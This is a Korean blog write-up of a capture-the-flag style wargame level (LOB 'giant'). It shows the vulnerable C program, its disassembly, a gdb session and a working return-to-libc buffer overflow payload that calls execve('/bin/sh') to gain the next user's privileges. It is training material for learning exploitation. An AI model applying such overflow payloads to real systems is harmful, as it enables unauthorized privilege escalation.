Sh4n3e

[시스템해킹][LOB] Level 14 : Bugbear -> Giant 본문

Wargame/LOB

[시스템해킹][LOB] Level 14 : Bugbear -> Giant

sh4n3e 2017. 7. 14. 16:57

이번 문제는 앞의 문제와는 다르게 execve()함수를 이용해서 RTL을 진행해야한다.

execve()함수의 속성을 알기위해서는 아래의 주소를 참조한다.


문자열 "/bin/sh" 의 주소값을 얻는 방법과 execve()함수의 주소를 얻는 방법은 이전 문제에서 진행했던것과 동일하다.



http://linux.die.net/man/3/execve 


아래는 해당 문제의 C코드와 어셈블 코드가 있다.


[bugbear@localhost bugbear]$ cat giant.c                                                                                                                                                                          

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

char buffer[40];

FILE *fp;

char *lib_addr, *execve_offset, *execve_addr;

char *ret;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

       //해당 부분은 giant의 권한이 없기떄문에 열수 없다.

fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);


fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "%x", &execve_offset);

fclose(fp);


execve_addr = lib_addr + (int)execve_offset;

// end


memcpy(&ret, &(argv[1][44]), 4);

if(ret != execve_addr)

{

printf("You must use execve!\n");

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}




(gdb) disass main

Dump of assembler code for function main:

0x8048560 <main>: push   %ebp

0x8048561 <main+1>: mov    %ebp,%esp

0x8048563 <main+3>: sub    %esp,60

0x8048566 <main+6>: cmp    DWORD PTR [%ebp+8],1

0x804856a <main+10>: jg     0x8048583 <main+35>

0x804856c <main+12>: push   0x8048700

0x8048571 <main+17>: call   0x8048444 <printf>

0x8048576 <main+22>: add    %esp,4

0x8048579 <main+25>: push   0

0x804857b <main+27>: call   0x8048474 <exit>

0x8048580 <main+32>: add    %esp,4

0x8048583 <main+35>: push   0x804870c

0x8048588 <main+40>: push   0x8048720

0x804858d <main+45>: call   0x8048404 <popen>

0x8048592 <main+50>: add    %esp,8

0x8048595 <main+53>: mov    %eax,%eax

0x8048597 <main+55>: mov    DWORD PTR [%ebp-44],%eax

0x804859a <main+58>: mov    %eax,DWORD PTR [%ebp-44]

0x804859d <main+61>: push   %eax

0x804859e <main+62>: push   0xff

0x80485a3 <main+67>: lea    %eax,[%ebp-40]

0x80485a6 <main+70>: push   %eax

0x80485a7 <main+71>: call   0x8048424 <fgets>

0x80485ac <main+76>: add    %esp,12

0x80485af <main+79>: lea    %eax,[%ebp-48]

0x80485b2 <main+82>: push   %eax

0x80485b3 <main+83>: push   0x804876b

0x80485b8 <main+88>: lea    %eax,[%ebp-40]

0x80485bb <main+91>: push   %eax

0x80485bc <main+92>: call   0x8048484 <sscanf>

0x80485c1 <main+97>: add    %esp,12

0x80485c4 <main+100>: mov    %eax,DWORD PTR [%ebp-44]

0x80485c7 <main+103>: push   %eax

0x80485c8 <main+104>: call   0x8048464 <fclose>

0x80485cd <main+109>: add    %esp,4

0x80485d0 <main+112>: push   0x804870c

0x80485d5 <main+117>: push   0x8048780

0x80485da <main+122>: call   0x8048404 <popen>

0x80485df <main+127>: add    %esp,8

0x80485e2 <main+130>: mov    %eax,%eax

0x80485e4 <main+132>: mov    DWORD PTR [%ebp-44],%eax

0x80485e7 <main+135>: mov    %eax,DWORD PTR [%ebp-44]

0x80485ea <main+138>: push   %eax

0x80485eb <main+139>: push   0xff

0x80485f0 <main+144>: lea    %eax,[%ebp-40]

0x80485f3 <main+147>: push   %eax

0x80485f4 <main+148>: call   0x8048424 <fgets>

0x80485f9 <main+153>: add    %esp,12

0x80485fc <main+156>: lea    %eax,[%ebp-52]

0x80485ff <main+159>: push   %eax

0x8048600 <main+160>: push   0x80487c8

0x8048605 <main+165>: lea    %eax,[%ebp-40]

0x8048608 <main+168>: push   %eax

0x8048609 <main+169>: call   0x8048484 <sscanf>

0x804860e <main+174>: add    %esp,12

0x8048611 <main+177>: mov    %eax,DWORD PTR [%ebp-44]

0x8048614 <main+180>: push   %eax

0x8048615 <main+181>: call   0x8048464 <fclose>

0x804861a <main+186>: add    %esp,4

0x804861d <main+189>: mov    %eax,DWORD PTR [%ebp-48]

0x8048620 <main+192>: mov    %edx,DWORD PTR [%ebp-52]

0x8048623 <main+195>: lea    %ecx,[%edx+%eax*1]

0x8048626 <main+198>: mov    DWORD PTR [%ebp-56],%ecx

0x8048629 <main+201>: push   4

0x804862b <main+203>: mov    %eax,DWORD PTR [%ebp+12]

0x804862e <main+206>: add    %eax,4

0x8048631 <main+209>: mov    %edx,DWORD PTR [%eax]

0x8048633 <main+211>: add    %edx,44

0x8048636 <main+214>: push   %edx

0x8048637 <main+215>: lea    %eax,[%ebp-60]

0x804863a <main+218>: push   %eax

0x804863b <main+219>: call   0x8048454 <memcpy>

0x8048640 <main+224>: add    %esp,12

0x8048643 <main+227>: mov    %eax,DWORD PTR [%ebp-60]

0x8048646 <main+230>: cmp    %eax,DWORD PTR [%ebp-56]

0x8048649 <main+233>: je     0x8048662 <main+258>

0x804864b <main+235>: push   0x80487cb

0x8048650 <main+240>: call   0x8048444 <printf>

0x8048655 <main+245>: add    %esp,4

0x8048658 <main+248>: push   0

0x804865a <main+250>: call   0x8048474 <exit>

0x804865f <main+255>: add    %esp,4

0x8048662 <main+258>: mov    %eax,DWORD PTR [%ebp+12]

0x8048665 <main+261>: add    %eax,4

0x8048668 <main+264>: mov    %edx,DWORD PTR [%eax]

0x804866a <main+266>: push   %edx

0x804866b <main+267>: lea    %eax,[%ebp-40]

0x804866e <main+270>: push   %eax

0x804866f <main+271>: call   0x8048494 <strcpy>

0x8048674 <main+276>: add    %esp,8

0x8048677 <main+279>: lea    %eax,[%ebp-40]

0x804867a <main+282>: push   %eax

0x804867b <main+283>: push   0x80487e1

0x8048680 <main+288>: call   0x8048444 <printf>

0x8048685 <main+293>: add    %esp,8

0x8048688 <main+296>: leave  

0x8048689 <main+297>: ret    

0x804868a <main+298>: nop    


아래의 set *(long*)0xbffffc40=0x400a9d48은 0xbffffc40주소값 4바이트값을 0x400a9d48로 바꿔준다는 의미이다. 이것은 기존 giant프로그램에서 execve값을 가져온 후, argv로 받은 RTL의 함수값을 비교하여 execve값인지 확인 비교하는 루틴이다. 하지만 위에서 언급했듯이

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

//해당 부분은 giant의 권한이 없기떄문에 열수 없다.

해당부분은 권한이 없기때문에 열리지 않으며, 제대로된 execve주소값을 가져올 수 없게된다. 따라서 우리가 임의로 컴파일한 프로그램에서 디버깅을 순조롭게 하기위해서는 비교하는 부분을 기존 프로그램과 같이 작동하게하기 위해서 해당 처리를 해주게 된다.


[bugbear@localhost bugbear]$ gdb -q tnaig

(gdb) b *main+230

Breakpoint 1 at 0x8048646

<+"BBBB"+"\xf9\xbf\x0f\x40"+"\xb8\xfc\xff\xbf"+"\x88\xfc\xff\xbf"')"         
Starting program: /home/bugbear/tnaig "$(python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\xf9\xbf\x0f\x40"+"\xb8\xfc\xff\xbf"+"\x88\xfc\xff\xbf"')"
ldd: /home/giant/assassin: No such file or directory

Breakpoint 1, 0x8048646 in main ()
(gdb) print/x $ebp-56
$1 = 0xbffffc40
(gdb) set *(long*)0xbffffc40=0x400a9d48  
// /home/giant/assassin을 못열기때문에 해당값을 임의로 바꿔준다. 
// 0x400a9d48은 execve 함수의 주소이다.
(gdb) c


다음은 execve()함수의 매개변수 2번째 값을 채우기 위한 부분으로 뒷부분이 NULL부분을 찾아서 넣는 부분이다. 나는 이부분때문에 많이 헤맸으며, 0x00000000값이 있는 부분을 다수 시도한 끝에 해당 결과를 얻어낼 수 있었다.

이 부분은 따라하려는 분께서는 많은 시도를 해보길 바란다.


(gdb) x/2000x $ebp

0xbffffc78: 0x41414141 0x400a9d48 0x42424242 0x400fbff9

0xbffffc88: 0xbffffcb8 0xbffffc88 0x00000000 0x080484b0

0xbffffc98: 0x00000000 0x080484d1 0x08048560 0x00000002

0xbffffca8: 0xbffffcc4 0x080483b4 0x080486bc 0x4000ae60

0xbffffcb8: 0xbffffcbc 0x40013e90 0x00000002 0xbffffdb6

0xbffffcc8: 0xbffffdca 0x00000000 0xbffffe0b 0xbffffe1d

0xbffffcd8: 0xbffffe37 0xbffffe56 0xbffffe78 0xbffffe85

0xbffffce8: 0xbffffe90 0xbffffeaf 0xbffffecc 0xbffffee1


따라서 아래와 같은 페이로드를 얻을 수 있었고, 결과를 얻어내었다.


 ./giant "$(python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\xf9\xbf\x0f\x40"+"\x94\xfc\xff\xbf"+"\x98\xfc\xff\xbf"')"



x0f\x40"+"\x94\xfc\xff\xbf"+"\x98\xfc\xff\xbf"')"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH�

@BBBB��@��������

1�^�����PTRh��h��QVh`��c������������������U���=��: /home/bugbear/.bashrc: Permission denied

bash$ id

uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)

bash$ /bin/my-pass

euid = 514

one step closer

bash$ 


Comments